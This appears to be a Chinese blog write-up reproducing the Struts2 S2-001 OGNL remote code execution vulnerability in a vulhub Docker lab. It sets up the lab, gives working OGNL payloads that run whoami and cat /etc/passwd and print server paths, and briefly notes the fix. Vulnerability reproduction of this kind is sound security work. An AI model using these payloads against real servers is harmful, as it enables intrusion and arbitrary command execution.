S2-001 远程代码执行漏洞复现

S2-001 远程代码执行漏洞

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

搭建靶机环境:

1.进入vulhub目录下漏洞环境的目录
cd …/vulhub-master/structs/s2-001

2.自动编译化环境
docker-compose build

3.启动整个编译环境
docker-compose up -d

4.查看是否启动成功
docker ps(正在运行的环境)

S2-001 远程代码执行漏洞复现_第1张图片

下载vulhub环境之后就会发现每个环境目录下都有一个md文件,也就是相应的说明文件

访问页面,默认是8080端口,我是在我自己的Windows上访问的我靶机的IP;

S2-001 远程代码执行漏洞复现_第2张图片

显然这是一个登录页面,这里就不遮遮掩掩了(原本还打算戏精附身,是如何发现这个漏洞的),因为已经知道了是什么漏洞;

因为后端是通过OGNL 表达式解析返回之前提交的数据;

OGNL 表达式详解点这里

先来测试一下是否真的存在远程代码执行
S2-001 远程代码执行漏洞复现_第3张图片
S2-001 远程代码执行漏洞复现_第4张图片
S2-001 远程代码执行漏洞复现_第5张图片

S2-001 远程代码执行漏洞复现_第6张图片
发现都把passw中括号里的值返回来了

这样构造如下payload

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

S2-001 远程代码执行漏洞复现_第7张图片

语句被执行,查看返回的语句是/user/local/tomcat即使tomcat的执行语句;

然后获取web路径,构造如下语句

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

S2-001 远程代码执行漏洞复现_第8张图片

可见返回了web路径,为/usr/local/tomcat/webapps/ROOT

查看当前权限,返回的是root

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

S2-001 远程代码执行漏洞复现_第9张图片

S2-001 远程代码执行漏洞复现_第10张图片

执行任意命令时只需要,将whoami的命令替换,例如如下内容

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

至此漏洞复现完成,关闭docker环境

docker-compose down -v

在这里插入图片描述
修复方式:
改变ognl表达式的解析方法从而不会产生递归解析,用户的输入也不会再解析执行。

你可能感兴趣的:(漏洞复现,java,安全,经验分享,后端)